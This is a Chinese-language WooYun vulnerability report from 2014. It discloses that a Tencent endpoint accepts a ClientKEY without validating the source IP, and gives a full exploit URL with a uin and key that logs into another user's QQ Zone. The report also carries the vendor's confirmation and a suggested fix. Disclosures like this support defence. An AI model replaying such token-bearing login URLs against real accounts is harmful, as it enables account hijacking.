漏洞详情

披露状态:

2014-03-21: 细节已通知厂商并且等待厂商处理中
2014-03-24: 厂商已经确认,细节仅向厂商公开
2014-04-03: 细节向核心白帽子及相关领域专家公开
2014-04-13: 细节向普通白帽子公开
2014-04-23: 细节向实习白帽子公开
2014-05-05: 细节向公众公开

简要描述:

研究过腾讯客户端安全的人都知道,ClientKEY对于QQ整体的业务系统来说,是一个全局的访问令牌,只要获取到用户的ClientKEY,就能访问所有腾讯旗下的业务系统。

腾讯单点登录系统跨域劫持漏洞
http://www.wooyun.org/bugs/wooyun-2010-0118
腾讯单点登录系统跨域劫持漏洞 Ⅱ
http://www.wooyun.org/bugs/wooyun-2010-0197

曾经多个白帽子报道过腾讯单点登陆系统的漏洞,于是腾讯加了一个来源IP验证来减少客户端攻击带来的威胁。腾讯当时的想法可能是:“就算你能搞到我的KEY,不在一个内网,你也影响不到我!”。

如今,这个防御措施仅仅因为某个接口的疏忽,就被绕过了!

详细说明:

# 问题描述

clubclient.qq.com 域名下的 /clubclient_goto.php 脚本并未严格校验来源IP,直接允许ClientKEY远程登录。

# 利用EXP

http://clubclient.qq.com/clubclient_goto.php?uin=61323636&key=2724F259C5FB538000EF24D374D60165452526EA51985EE962D5379B4BF4BD30&sendclick=1&qptag=1&statid=10001903&gotourl=http://qzone.qq.com&tipsid=52684&ADUIN=2533750203&ADSESSION=1356685136&ADTAG=CLIENT.QQ.4855_.0&ADPUBNO=26095

漏洞证明:

# 直接远程换个IP登录了别人的QQ空间

qq相册.jpg

修复方案:

# 每个登录的接口都尽量校验完全吧!

版权声明:转载请注明来源 猪猪侠@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-03-24 11:14

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价: